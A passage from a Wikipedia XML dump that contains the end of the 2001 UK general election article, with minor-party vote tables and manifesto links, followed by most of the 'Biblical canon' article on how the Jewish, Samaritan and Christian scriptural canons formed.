  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary|
  |party      = [[Free Party]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 832
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary|
  |party      = [[Leeds Left Alliance|Left Alliance]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 770
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary|
  |party      = [[New Millennium Bean Party]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 727
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
{{Template:Election Summary Party|
  |party      = Workers Revolutionary Party
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 607
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = 0.0%
}}
{{Template:Election Summary|
  |party      = [[Tatton Group|Tatton]]
  |seats      = 0
  |gain       = 0
  |loss       = 0
  |net        = 0
  |votes      = 505
  |votes %          = 0.0
  |seats % = 0.0
  |plus/minus = ''N/A''
}}
|}

''Total votes cast: 26,368,204.  All parties with more than 500 votes shown.''

''The seat gains reflect changes on the [[United Kingdom general election, 1997|1997 general election result]]. Two seats had changed hands in by-elections in the intervening period. These were as follows:''
* ''[[Romsey]] from [[Conservative Party (UK)|Conservative]] to [[Liberal Democrats (UK)|Liberal Democrats]]. This seat stayed Liberal Democrat in 2001.''
* ''[[South Antrim (constituency)|South Antrim]] from [[Ulster Unionist Party|Ulster Unionists]] to [[Democratic Unionist Party|Democratic Unionists]]. This seat reverted to the Ulster Unionists in 2001.''

{{British elections}}

==See also== 
* [[MPs elected in the UK general election, 2001]]
* [[2001 UK foot and mouth crisis]]

==Manifestos==

*[http://www.labour-party.org.uk/manifestos/2001/2001-labour-manifesto.shtml Labour (Ambitions for Britain)]
*[http://www.conservative-party.net/manifestos/2001/2001-conservative-manifesto.shtml Conservative (Time for Common Sense)]
*[http://www.libdemmanifesto.com/2001/2001-liberal-manifesto.shtml Liberal Democrat (Freedom, Justice, Honesty)]
*[http://www.ukip.org.uk/manifestos/2001/ UK Independence Party]

==External links==
*[http://news.bbc.co.uk/vote2001/ BBC News: Vote 2001] - in depth coverage.

[[Category:2001 elections]]
[[Category:United Kingdom general elections|2001]]

[[de:Britische Unterhauswahlen 2001]]
[[sv:Parlamentsvalet i Storbritannien 2001]]</text>
    </revision>
  </page>
  <page>
    <title>Biblical canon</title>
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      <minor />
      <comment>clean up and bypass unambiguous redirects using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Biblical canon''' is an exclusive list of [[book]]s written during the formative period of the [[Judaism|Jewish]] or [[Christianity|Christian]] [[faith]]s; the leaders of these communities believed these books to be inspired by [[God]] or to express the authoritative history of the relationship between God and his people (although there may have been secondary considerations as well).

There are [[Judaism and Christianity|differences between Christians and Jews]], as well as between different [[List of Christian denominations|Christian traditions]], over which books meet the standards for canonization.  The different criteria for, and the process of, canonization for each community dictates what members of that community consider to be their [[Bible]].

At this time, all of the below canons are considered to be ''closed''; that is, most adherents of the various groups do not think that additional books can be added to their Bible. By contrast, an ''open'' canon would be a list of books which is considered to be open to additional books, should they meet the other criteria. Each of the canons described below was considered open for a time before being closed.  Generally, the closure of the canon reflects a belief from the faith community that the formative period of the religion has ended, and that texts from that period can be collected into an authoritative body of work.  Certain Christian churches (such as the [[Latter-day Saints]]) which accept a Bible as part of their formally adopted sacred [[literature]] may also include other works in the totality of their canon, but they generally do not consider those other works to be part of their Bible.  See [[Sacred text]] for examples.

The relationship between the closing of the canon and beliefs about the nature of [[revelation]] may be subject to different interpretations.  Some believe that the closing of the canon signals the end of a period of divine revelation; others believe that revelation continues even after the canon is closed, either through individuals or through the leadership of a divinely sanctioned religious institution.  Among those who believe that revelation continues after the canon is closed, there is further debate about what kinds of revelation is possible, and whether the revelation can add to established [[theology]].

==Canonic texts in Jewish and Christian traditions==
Traditionally more open to discussion and editorial interpretation is the concept of a '''canonic text''', that is, a single, authoritative text for each of the books in the canon, one which depends on editorial selections from among manuscript traditions that had been independent of one another. Significant separate manuscript traditions in the canonic [[Hebrew Bible]] are represented in the [[Septuagint]] translation's variants from  the [[Masoretic|Masoretic text]] that was established through the Masoretes' scholarly collation of varying manuscripts, and in the independent manuscript traditions that are represented by the [[Dead Sea scrolls]]. Additional, otherwise unrecorded texts for ''Genesis'' and the early chapters of ''Exodus'' lie behind the [[Book of Jubilees]]. These, and the  Dead Sea Scrolls themselves, emphasize that even canonic Hebrew texts did not possess any single hard and fast ''authorized'' manuscript tradition, in the first centuries BCE. [[New Testament]] Greek and Latin texts presented enough significant differences that a manuscript tradition arose of presenting ''diglot'' texts, with Greek and Latin on facing pages. [[Jerome]]'s [[Vulgate]] was a successful attempt at establishing a canonic text, one that passed without challenge until the [[Humanism|humanist]] textual inquiries of the 15th and 16th centuries.

== Jewish canon ==
:''See also:'' [[Tanakh]]

The [[Jew]]s recognize the twenty-four books of the [[Hebrew Bible]] as the Tanakh. Evidence suggests that the process of canonization of the Tanakh occurred between [[200 BCE]] and [[200|200 CE]]. The first suggestion of a Jewish Canon comes in the [[2nd century BCE]].  The book of [[2 Maccabees]], itself not a part of the Jewish canon, describes [[Book of Nehemiah|Nehemiah]] (around [[400 BCE]]) as having &quot;founded a library and collected books about the kings and prophets, and the writings of David, and letters of kings about votive offerings&quot; (2 Macc 2:13). The book also suggests that [[Ezra]] brought the [[Torah]] back from [[Babylon]] to [[Jerusalem]] and the [[Second Temple]] as described in Nehemiah 8.  Both I and II Maccabees suggest that [[Judas Maccabeus]] likewise collected sacred books.  They do not, however, suggest that the canon was at that time closed; moreover, it is not clear that these sacred books were identical to those that later became part of the canon.

Additional evidence of a collection of sacred scripture similar to portions of the Hebrew Bible comes from the book of [[Sirach]] (dating from [[180 BCE]] and also not included in the Jewish canon), which includes a list of names of great men in the same order as is found in the Torah and the [[Nevi'im]] (Prophets), and which includes the names of some men mentioned in the [[Ketuvim]] (Writings).  Based on this list of names, some scholars have conjectured that the author, [[Sirach|Yeshua ben Sira]] (Joshua son of Sirach) had access to, and considered authoritative, the books of [[Genesis]], [[Exodus]], [[Leviticus]], [[Book of Numbers|Numbers]], [[Deuteronomy]], [[Book of Joshua|Joshua]], [[Book of Judges|Judges]], [[Books of Samuel|Samuel]], [[Books of Kings|Kings]], [[Book of Isaiah|Isaiah]], [[Book of Jeremiah|Jeremiah]], [[Book of Ezekiel|Ezekiel]], and the [[Minor prophet|Twelve minor prophets]].  His list excludes names from [[Book of Ruth|Ruth]], [[Song of Songs]], [[Book of Esther|Esther]], [[Book of Daniel|Daniel]], and [[Book of Job|Job]], suggesting that he either did not have access to these books, or did not consider them authoritative.  In the prologue to the Greek translation of ben Sirach's work, his grandson mentions both the Torah and the Nevi'im, as well as a third group of books which is not yet named as Ketuvim (the prologue simply identifies &quot;the rest of the books&quot;).  Based on this evidence, some scholars have suggested that by the [[2nd century BCE]] the books of the Torah and Nevi'im were considered canonical, but that the books of the Ketuvim were not.

The [[Septuagint]] (LXX) translation of the [[Hebrew language]] Bible into [[Koine Greek]], probably in the [[1st century BCE|1st]] and [[2nd century BCE|2nd centuries BCE]], provided a text (there are variants) for the Greek-speaking world, and was used by the writers of the [[New Testament]]. In this text (actually [[Scroll (parchment)|scrolls]] rather than a [[codex|book]]) the Torah and Nevi'im are established as canonical, but again, Ketuvim have not yet been definitively canonized (some editions of the Septuagint include, for instance I-IV Maccabees or the 151st Psalm, while others do not include them, also there are the Septuagint additions to Esther, Jeremiah, and Daniel and [[1 Esdras]]).

The [[Dead Sea Scrolls]] discovered at caves near [[Qumran]] refer to the Torah and Nevi'im and suggest that these portions of the Bible had already been canonized before [[68|68 CE]].  A scroll that contains all or parts of 41 Biblical psalms, although not in the same order as in the current [[Book of Psalms]], and which includes eight texts not found in the Book of Psalms, suggests that the Book of Psalms had not yet been canonized.

In the first century CE, [[Philo]] Judaeus of Alexandria discussed sacred books, but made no mention of a tripartite division of the Bible, however, in ''De vita contemplativa''[http://earlyjewishwritings.com/text/philo/book34.html], a disputed text, v.25, is stated: &quot;studying ... the laws and the sacred oracles of God enunciated by the holy prophets, and hymns, and psalms, and all kinds of other things by reason of which knowledge and piety are increased and brought to perfection.&quot; [[Josephus]], however, refers to sacred scriptures divided into three parts: the five books of the Torah; thirteen books of the Nevi'im, and four other books of hymns and wisdom.  The number of 22 books mentioned by Josephus does not correspond to the number of books in the current canon.  Some scholars have suggested that he considered [[Book of Ruth|Ruth]] part of [[Book of Judges|Judges]], and [[Lamentations]] part of [[Book of Jeremiah|Jeremiah]].  Other scholars suggest that at the time Josephus wrote, such books as [[Book of Esther|Esther]] and [[Ecclesiastes]] were not yet considered canonical.

Significantly, Josephus characterizes the 22 books as canonical because they were divinely inspired; he mentions other historical books that were not divinely inspired and that therefore do not belong in the canon.  

The first reference to a 24-book Jewish canon is found in [[2 Esdras]] 14:45-46, which was probably written in the first half of the second century CE:
:&quot;Make public the twenty-four books that you wrote first, and let the worthy and the unworthy read them; but keep the seventy that were written last, in order to give them to the wise among your people.&quot; [[Revised Standard Version|RSV]]
The &quot;seventy&quot; might refer to the [[Septuagint]], [[apocrypha]], or [[Kabbalah|mystical works]].

The [[Pharisees]] also debated the status of these extra-canonical books; in the 2nd century CE, [[Rabbi Akiva]] declared that those who read them would not share in the afterlife (Sanhedrin 10:1).

The [[Mishnah]], compiled by the [[2nd century|second century CE]], describes some of the debate over the status of some books of ''Ketuvim'', and in particular whether or not they render the hands &quot;impure&quot;.  Yadaim 3:5 calls attention to the debate over [[Song of Songs]] and [[Ecclesiastes]].  The Megillat Taanit, in a discussion of days when fasting is prohibited but that are not noted in the Bible, mentions the holiday of [[Purim]].  Based on these, and a few similar references, [[Heinrich Graetz]] concluded in [[1871]] that there had been a [[Council of Jamnia]] (or [[Yavne]] in Hebrew) which had decided Jewish canon sometime in the late [[1st century]] (c.70-90 CE).  This became the prevailing scholarly consensus for much of the [[20th century]].  However, from the [[1960s]] onwards, based on the work of J.P. Lewis, S.Z. Leiman, and others, this view came increasingly into question.  In particular, later scholars noted that none of the sources actually mentioned books that had been withdrawn from a canon, and questioned the whole premise that the discussions were about canonicity at all, asserting that they were actually dealing with other concerns entirely.  

Today, there is no scholarly consensus as to when the Jewish canon was set.

== Samaritan canon ==
The small community of the remnants of the [[Samaritan]]s in Palestine includes only [[Samaritan Pentateuch|their version of the Torah]] and the [[book of Joshua]] in their canon. This grouping is sometimes referred to as the [[Hexateuch]]. The Samaritan community possesses a copy of the Torah that they believe to have been penned by [[Aaron]] himself.

== Christian canon ==
=== Orthodox, Catholic and Protestant ===
[[History of Christianity#The Earliest Church|When Christianity began]]: it had no well-defined set of [[scriptures]] outside of the [[Septuagint]]{{fn|1}}. The [[New Testament]] refers to the &quot;[[Torah|Law]] and [[Nevi'im|Prophets]]&quot;, for example the [[Gospel of Luke]] 24:44-45 records [[Jesus]] stating: &quot;written in the law of Moses, and in the prophets, and in the psalms... the scriptures.&quot; The earliest Christian canon is found in the [[Bryennios manuscript]], published by J.-P. Audet in ''JTS''[http://jts.oxfordjournals.org/] 1950, v1, pp 135-154, dated to around [[100 AD]], written in [[Koine Greek]], [[Aramaic]] and [[Hebrew language|Hebrew]]; it is this '''27-book OT''' list: [[Genesis]], [[Exodus]], [[Leviticus]], [[Book of Numbers|Numbers]], [[Deuteronomy]], [[Book of Joshua|Jesus Nave]], [[Book of Judges|Judges]], [[Book of Ruth|Ruth]], 4 of Kings ([[Books of Samuel|Samuel]] and [[Books of Kings|Kings]]), [[Books of Chronicles|2 of Chronicles]], [[Esdras|2 of Esdras]] (might include [[1 Esdras]]), [[Book of Esther|Esther]] (might include Septuagint additions), [[Psalms]],  [[Book of Proverbs|Proverbs]],  [[Ecclesiastes]], [[Song of Songs]], [[Book of Job|Job]], [[Minor prophet|Minor prophets]], [[Book of Isaiah|Isaiah]], [[Book of Jeremiah|Jeremiah]] (might include Septuagint additions), [[Book of Ezekiel|Ezekiel]], [[Book of Daniel|Daniel]] (might include Septuagint additions). Early Christianity also relied on the [http://www.scripturecatholic.com/oral_tradition.html Sacred Oral Tradition]  of what [[Jesus]] had said and done, as reported by the apostles and other followers. Even after the [[Gospels]] were written and began circulating, some Christians preferred the oral Gospel as told by people they trusted (e.g. [[Papias]], c. [[125 AD]]).

By the end of the [[1st century]], some [[Pauline epistles|Letters of Paul]] were collected and circulated, and were known to [[Pope Clement I|Clement of Rome]] (c. [[95 AD]]), [[Ignatius of Antioch]] (died [[117 AD]]), and [[Polycarp of Smyrna]] (c. [[115 AD]]) but they weren't called scripture as the Septuagint was and they weren't without critics. In the late 4th century [[Epiphanius of Salamis]] (died 402) ''Panarion'' 29 says the [[Nazarenes]] had rejected the Pauline epistles and [[Irenaeus]] ''Against Heresies'' 26.2 says the [[Ebionites]] rejected him. Acts 21:21 records a rumor that Paul aimed to subvert the Old Testament. 2 Peter 3:16 says his letters have been abused by [[heretics]] who twist them around. In the 2nd and 3rd centuries [[Eusebius]] ''Ecclesiastical History'' 6.38 says the [[Elkasite|Elchasai]] &quot;made use of texts from every part of the Old Testament and the Gospels; it rejects the Apostle (Paul) entirely&quot;; 4.29.5 says [[Tatian|Tatian the Assyrian]] rejected Paul's Letters and [[Acts of the Apostles]]; 6.25 says [[Origen]] accepted 22 canonical books of the Hebrews plus [[Maccabees]] plus the [[Gospel#Canonical Gospels|four Gospels]] but [[Paul of Tarsus|Paul]] &quot;did not so much as write to all the churches that he taught; and even to those to which he wrote he sent but a few lines.&quot; [[Bruce Metzger]] in his ''Canon of the New Testament'', 1997, draws the following conclusion about Clement:
&lt;blockquote&gt;Clement's Bible is the Old Testament, to which he refers repeatedly as Scripture (graphe), quoting it with more or less exactness. Clement also makes occasional reference to certain words of Jesus; though they are authoritative for him, he does not appear to enquire how their authenticity is ensured. In two of the three instances that he speaks of remembering 'the words' of Christ or of the Lord Jesus, it seems that he has a written record in mind, but he does not call it a 'gospel'. He knows several of Paul's epistles, and values them highly for their content; the same can be said of the Epistle to the Hebrews, with which he is well acquainted. Although these writings obviously possess for Clement considerable significance, he never refers to them as authoritative 'Scripture'.&lt;/blockquote&gt;

[[Marcion of Sinope]]: c. [[150]], was the first of record to propose a definitive, exclusive, unique canon of Christian scriptures. He rejected the teachings of the [[Old Testament]], which he claimed were incompatible with the teachings of [[Jesus]]. The [[Gospel of Luke]], which Marcion called simply the &quot;Gospel&quot;, he edited to remove any passages that connected Jesus with the Old Testament. This was because he believed that the god of the [[Jew]]s, [[YHWH]], who gave them the [[Law of Moses]], was an entirely different god than the Supreme God who sent Jesus and inspired the [[New Testament]]. By editing he thought he was removing [[judaize|judaizing]] corruptions and recovering the original inspired words of Jesus. He also used ten [[Pauline Epistles|Letters of Paul]] (excluding [[Epistle to the Hebrews|Hebrews]] and the [[Pastoral Epistles]]) assuming his ''Epistle to the Laodiceans'' refered to [[canonical]] [[Ephesians]] and not [[apocryphal]] [[Epistle to the Laodiceans]] or another text no longer extant. To these, which he called the ''Gospel and the Apostolicon'', he added his ''Antithesis'' which contrasted the [[New Testament]] with the [[Old Testament]]. Marcion's canon and theology were soundly rejected as [[heresy|heretical]]; however, he forced other Christians to consider which texts were canonical and why. He spread his beliefs widely; they became known as [[Marcionism]]. [[Henry Wace]] in his introduction [http://www.earlychristianwritings.com/info/marcion-wace.html] of 1911 stated: &quot;A modern divine ... could not refuse to discuss the question raised by Marcion, whether there is such opposition between different parts of what he regards as the word of God, that all cannot come from the same author.&quot; The [[Catholic Encyclopedia]] of 1913 stated: &quot;they were perhaps the most dangerous foe Christianity has ever known.&quot;

[[Muratorian fragment]] [http://www.earlychristianwritings.com/muratorian.html]: this [[7th Century]] latin manuscript is often considered to be a translation of the first non-Marcion New Testament canon, and dated at between [[170]] (based on an internal reference to [[Pope Pius I]] and arguments put forth by [[Bruce Metzger]]) and as late as the end of the [[4th century]] (according to the [[Anchor Bible Series|Anchor Bible Dictionary]]). This partial canon lists the four gospels and the [[Pauline epistles|Letters of Paul]], as well as two books of Revelation, one of [[Book of Revelation|John]], another of [[Apocalypse of Peter|Peter]] (the latter of which it notes is not often read in the churches). It rejects the [[Epistle to the Laodiceans]] and Epistle to the Alexandrians both said to be forged in Paul's name to support [[Marcionism]].

[[Diatessaron]]: c. [[173]], a one-volume harmony of the four Gospels, translated and compiled by [[Tatian|Tatian the Assyrian]] into [[Syriac]]. In Syriac speaking churches, it effectively served as the only New Testament scripture until Paul's Letters were added during the 3rd century. Some believe that Acts was also used in Syrian churches alongside the Diatessaron {{fact}}, however, Eusebius' ''Ecclesiastical History'' 4.29.5 states Tatian rejected Paul's Letters and Acts. In the 4th century, the [[Doctrine of Addai]] lists a 17 book NT canon using the Diatessaron and Acts and 15 Pauline Epistles (including [[Third Epistle to the Corinthians|3rd Corinthians]]). The Diatessaron was eventually replaced in the 5th century by the [[Peshitta]], which contains a translation of all the books of the '''27-book NT''' except for [[2 John]], [[3 John]], [[2 Peter]], [[Epistle of Jude|Jude]] and [[Book of Revelation|Revelation]] and is the [[Bible]] of the [[Syriac Orthodox Church]] where some members believe it is the original New Testament, see [[Aramaic primacy]].

[[Irenaeus of Lyons]]: c. [[185]], claimed that there were exactly four Gospels, no more and no less, as a touchstone of orthodoxy. He argued that it was illogical to reject Acts of the Apostles but accept the Gospel of Luke, as both were from the same author. In ''Against Heresies'' 3.12.12 [http://www.ccel.org/fathers2/ANF-01/anf01-60.htm#P7525_2024213] he ridiculed those who think they are wiser than the [[Twelve Apostles|Apostles]] because they were still under [[Judaizers|Jewish influence]]. This was crucial to refuting Marcion's anti-Judaizing, as Acts gives honor to [[James the Just|James]], [[Saint Peter|Peter]], [[John the Apostle|John]] and [[Paul of Tarsus|Paul]] alike. At the time, [[Jewish Christians]] tended to honor James (a prominent Christian in Jerusalem described in the New Testament as an ''apostle'' and ''pillar'', and by Eusebius and other church historians as the first Bishop of Jerusalem) but not Paul, while [[Pauline Christianity]] tended to honor Paul more than James.

[[Codex Claromontanus]] canon [http://www.bible-researcher.com/claromontanus.html]: c. [[250]], a page found inserted into a [[6th Century]] copy of the Epistles of Paul and [[Epistle to the Hebrews|Hebrews]], has the '''27-book OT''' plus Tobit, Judith, Wisdom, Sirach, 1-2,4 Maccabees, Barnabas, Hermas and the '''27-book NT''' plus [[Third Epistle to the Corinthians|3rd Corinthians]], Acts of Paul, Apocalypse of Peter but missing Philippians, 1-2 Thessalonians, and Hebrews.

[[Eusebius]]: c. [[300]], listed a New Testament canon in his ''Ecclesiastical History'' 3.3 and 3.25 [http://www.ccel.org/fathers2/NPNF2-01/Npnf2-01-08.htm#P1497_696002]: '''Recognized''' are four Gospels, Acts, 10 traditional Letters of Paul, [[Pastoral Epistles]], 1st Peter, 1st John; '''Disputed''' are [[Didache]], [[Epistle of Barnabas|Barnabas]], [[The Shepherd of Hermas|Hermas]], [[Diatessaron]], [[Gospel of the Hebrews]], [[Epistle to the Hebrews|Hebrews]], [[Acts of Paul]], [[Epistle of James|James]], [[Second Epistle of Peter|2nd Peter]], [[Epistles of John|2-3 John]], [[Epistle of Jude|Jude]], [[Book of Revelation|Revelation]], [[Apocalypse of Peter]]; '''Rejected''' are [[Gospel of Peter]], [[Gospel of Thomas]], [[Gospel of Matthias]], [[Acts of Andrew]], [[Acts of John]], and unnamed others.

Cheltenham Canon ([http://www.bible-researcher.com/cheltenham.html], [http://www.ntcanon.org/Cheltenham_Canon.shtml), (also known as [[Theodor Mommsen|Mommsen]]'s): c. [[350]], a page found inserted in a [[10th Century]] manuscript, has a 24 book OT and 24 book NT which provides syllable and line counts but omits Hebrews, Jude and James, and seems to question Epistles of John and Paul beyond the first.

[[Synod of Laodicea]]: c. [[363]], was one of the first synods that set out to judge which books were to be read aloud in churches. The decrees issued by the thirty or so clerics attending were called [[Canon law|canons]]. Canon 59 decreed that only canonical books should be read, but no list was appended in the Latin and Syriac manuscripts recording the decrees. The list of canonical books, Canon 60 [http://www.ccel.org/ccel/schaff/npnf214.viii.vii.iii.lxv.html], sometimes attributed to the Synod of Laodicea is a later addition according to most scholars and has a 22 book OT and '''26-book NT''' (excludes Revelation).

[[Athanasius]]: in [[367]], in Festal Letter 39 [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-93.htm] listed a 22 book OT and '''27-book NT''' and 7 books not in the canon but to be read: Wisdom of Solomon, Wisdom of Sirach, Esther, Judith, Tobit, Didache, and the Pastor (probably Hermas). If you ignore the additional books to be read and exclusion of Esther from the canon, this list is the same as the modern Protestant canon and so Athanasius is often considered the father of the modern Protestant canon.

In c. [[380]], the redactor of the [[Apostolic Constitutions]] attributed a canon to the [[Twelve Apostles]] themselves ([http://www.ntcanon.org/Apostolic_Canons.shtml]) as the 85th of his list of such [[Canons of the Apostles|apostolic decrees]]:
:''Canon 85. Let the following books be esteemed venerable and holy by all of you, both clergy and laity. [A list of books of the Old Testament ...] And our sacred books, that is, of the New Testament, are the four Gospels, of Matthew, Mark, Luke, John; the fourteen Epistles of Paul; two Epistles of Peter; three of John; one of James; one of Jude; two [[Epistles of Clement]]; and the Constitutions dedicated to you, the bishops, by me, [[Pope Clement I|Clement]], in eight books, which is not appropriate to make public before all, because of the mysteries contained in them; and the Acts of us, the Apostles.'' (From the Latin version.)
Some later Coptic and Arabic translations add Relevation and the Epistles of Clement.

[[Pope Damasus I]]: is often considered to be the father of the modern Catholic canon. Though purporting to date from a &quot;[[Council of Rome]]&quot; under Pope Damasus I in [[382]], the so-called &quot;Damasian list&quot; appended to the pseudepigraphical [[Decretum Gelasianum]] [http://www.tertullian.org/decretum_eng.htm] is actually a valuable though non-papal list from the early 6th century. Denziger's recension is found in the links at [[Decretum Gelasianum]]. The &quot;Damasian Canon&quot; was published by C.H. Turner in ''JTS'', vol. 1, 1900, pp 554-560. In [[405]], [[Pope Innocent I]] in Letter #6 (to Exuperius) described a canon identical to Trent (without the distinction between protocanonicals and deuterocanonicals).

In the late [[380s]], [[Gregory of Nazianus]] produced a canon ([http://www.ntcanon.org/Gregory.canon.shtml]) in verse which agreed with that of his contemporary Athanasius, other than placing the &quot;Catholic Epistles&quot; after the Pauline Epistles and omitting Revelation.

Bishop Amphilocus of [[Iconium]], in his poem ''Iambics for Seleucus'' ([http://www.ntcanon.org/Amphilochius.canon.shtml]) written some time after [[394]], discusses debate over the canonical inclusion of a number of books, and almost certainly rejects the later Epistles of Peter and John, Jude, and Revelation.

3rd [[Synods of Carthage|Synod of Carthage]] [http://www.ntcanon.org/Carthage.canon.shtml]: in [[397]], ratified the canon accepted previously at the Synod of Hippo Regius in North Africa in [[393]] and which was supposedly endorsed by [[Pope Damasus I]], but the acts of which have been lost. The 27-book NT canon included ''the Gospels, four books; the Acts of the Apostles, one book; the Epistles of Paul, thirteen; of the same to the Hebrews; one Epistle; of Peter, two; of John, apostle, three; of James, one; of Jude, one; the Revelation of John.''

When St. [[Jerome]] translated the Bible into [[Latin]], producing the [[Vulgate]] bible c. [[400]], he argued for the ''Veritas Hebraica'', meaning the truth of the [[Jewish Bible]] over the [[Septuagint]] translation. At the insistence of the Pope, however, he added existing translations for what he considered doubtful books, but did not personally translate them anew. This period marks the beginning of a more widely recognized canon, although the inclusion of some books was still debated: Epistle to Hebrews, James, 2 John, 3 John, 2 Peter, Jude and Revelation. Grounds for debate included the question of authorship of these books (note that the so-called Damasian &quot;Council at Rome&quot; had already rejected [[John the Evangelist|John the Apostle]]'s authorship of 2 and 3 John, while retaining the books), their suitability for use (Revelation at that time was already being interpreted in a wide variety of [[heresy|heretical]] ways), and how widely they were actually being used (2 Peter being amongst the most weakly attested of all the books in the Christian canon). 

The late-[[5th Century|5th]] or early-[[6th Century]] [[Peshitta]] of the [[Syrian Orthodox Church]] ([http://www.ntcanon.org/Peshitta.shtml]) includes a 22-book NT, excluding II Peter, II John, III John, Jude, and Revelation. (The ''Lee Peshitta'' of 1823 follows the Protestant canon'')

'''List of the Sixty Books''' [http://www.ntcanon.org/Sixty_Canonical_Books.shtml]: dated to the 7th century, has 34 OT books and '''26-book NT''' (excludes Revelation) and 9 books &quot;outside the sixty&quot;: Wisdom of Solomon, Sirach, 1-4 Maccabees, Esther, Judith, Tobit and a 25 book [[apocrypha]].

[[Quinisext Council|Orthodox Synod in Trullo]]: in [[692]], rejected by [[Pope Constantine]], approved Gregory Theologus' 22 book OT and '''26-book NT''' (excludes Revelation) and the [[Canons of the Apostles]] of the [[Apostolic Constitutions]] of which Canon #85 [http://www.bible-researcher.com/apostolic.html] is a list of the '''27-book OT''' plus Judith, Sirach, 1-3Maccabees, Didache, 1-2Clement, and '''26-book NT''' (excludes Revelation), and the Apostolic Constitutions which themselves were rejected because they were said to contain heretical interpolations.

[[John of Damascus]]: c. [[654]] - c. [[749]], in ''Exact Exposition of Orthodox Faith 4.17'' accepted Didache and Apostolic Constitutions.

[[Saint Nicephorus|Nicephorus]]: the Patriarch of Jerusalem, [[806]]-[[815]], in a ''Stichometria'' [http://www.ntcanon.org/Stichometry_of_Nicephorus.shtml] appended to the end of his ''Chronography'' rejected Esther, Tobit, Judith, [[Wisdom of Solomon]], [[Ecclesiasticus|Sirach]], Maccabees, [[Psalms of Solomon]], [[Enoch]], Didache, Barnabas, Hermas, [[Epistles of Clement|Clement]], [[Testaments of the Twelve Patriarchs]], Gospel of Thomas, Gospel of the Hebrews, 3rd Corinthians, Acts of Paul, Revelation, Apocalypse of Peter.

[[Protestant Reformation]]: begun by [[Martin Luther]], who made an attempt to remove the books of Hebrews, James, Jude and Revelation from the canon (partially because they were perceived to go against certain Protestant doctrines such as [[sola fide]], partially because of the early debate over their inclusion), but this was not generally accepted among his followers. However, these books are ordered last in [[German language|German-language]] [[Lutheran]] Bibles to this day. Bruce Metzger's ''Canon of the New Testament'' says in [[1596]] Jacob Lucius published a Bible at Hamburg which labeled Luther's four as &quot;Apocrypha&quot;; David Wolder the pastor of Hamburg's Church of St. Peter published in the same year a triglot Bible which labeled them as &quot;non canonical&quot;; J. Vogt published a Bible at Goslar in [[1614]] similar to Lucius'; Gustavus Adolphus of Stockholm in [[1618]] published a Bible with them labeled as &quot;Apocr(yphal) New Testament.&quot; Luther also eliminated the &quot;doubtful&quot; books from his Old Testament, terming them &quot;[[Apocrypha]], that are books which are not considered equal to the Holy Scriptures, but are useful and good to read&quot;. He also argued unsuccessfully for the relocation of [[Book of Esther|Esther]] from the Canon to the Apocrypha, since without the deuterocanonical sections, it never mentions God. As a result Catholics and Protestants continue to use different canons, which differ in respect to the Old Testament. There is some evidence that the first decision to omit these books entirely from the Bible was made by Protestant laity rather than clergy. Bibles dating from shortly after the [[Reformation]] have been found whose tables of contents included the entire Roman Catholic canon, but which did not actually contain the disputed books, leading some historians to think that the workers at the printing presses took it upon themselves to omit them. However, Anglican and Lutheran Bibles usually still contained these books until the [[20th century]], while Calvinist Bibles did not. Several reasons are proposed for the omission of these books from the canon. One is the support for Catholic doctrines such as [[Purgatory]] and prayer for the dead found in [[2 Maccabees]]. Luther himself said he was following Jerome's teaching about the ''Veritas Hebraica''.

[[Council of Trent]]: on [[April 8]], [[1546]], by vote (24 yea, 15 nay, 16 abstain) approved the present [[Roman Catholic]] Bible Canon including the [[Deuterocanonical Books]]. This is said to be the same list as produced at the [[Council of Florence]] in [[1451]], this list was defined as canonical in the profession of faith proposed for the [[Jacobite Orthodox Church]]. Because of its placement, the list was not considered binding for the Catholic church, and in light of [[Martin Luther]]'s demands, the Catholic Church examined the question of the Canon again at the Council of Trent, which reaffirmed the Canon of the Council of Florence. The Old Testament books that had been in doubt were termed [[deuterocanonical]], not indicating a lesser degree of inspiration, but a later time of final approval. Beyond these books, some editions of the latin [[Vulgate]] include [[Psalm 151]], the [[Prayer of Manasseh]], [[1 Esdras]] (called 3 Esdras), [[2 Esdras]] (called 4 Esdras), and the [[Epistle to the Laodiceans]] in an appendix, styled &quot;Apogryphi&quot;.

[[Thirty-Nine Articles]]: in [[1563]], of the [[Church of England]], article 6, recognized the Roman Catholic Canon including the Deuterocanonicals with the caveat &quot;for example of life and instruction in manners ... [but not] to establish any doctrine.&quot;

[[King James Bible#Difference in the contents|King James Bible]]: of [[1611]], included deuterocanon and apocrypha from the Vulgate and Septuagint.

[[Westminster Confession of Faith]]: in [[1647]], of [[Calvinism]], decreed a '''39-book OT''' and '''27-book NT''', all others labelled as apocrypha [http://www.reformed.org/documents/wcf_with_proofs/].

[[Synod of Jerusalem]][http://www.ccel.org/ccel/schaff/creeds1.v.vii.html]: in [[1672]], decreed the [[Greek Orthodox]] Canon which is the same as the [[Roman Catholic]] but includes [[Psalm 151]], [[1 Esdras]], [[3 Maccabees]], [[4 Maccabees]], [[Psalms of Solomon]], [[Odes|Odes of Solomon]], [[Letter of Jeremiah]]. The Greek Orthodox generally consider the [[Septuagint]] to be divinely inspired.

[[Thomas Jefferson]]: in [[1819]], produced the [[Jefferson Bible]], by excluding sayings of Jesus which he felt were easily determined to be inauthentic (&quot;like picking diamonds from dunghills&quot; -To Adams, [[24 January]] [[1814]]).

[[Vatican I]]: on [[April 24]], [[1870]],  approved the additions to [[Mark 16|Mark]] (v.16:9-20), [[Gospel of Luke#Manuscripts|Luke]], (22:19b-20,43-44) and [[Pericope Adulteræ|John]], (7:53-8:11) which are not present in early manuscripts.

[[Pope Pius XI]]: on [[June 2]], [[1927]], decreed the [[Comma Johanneum]] was open to dispute.

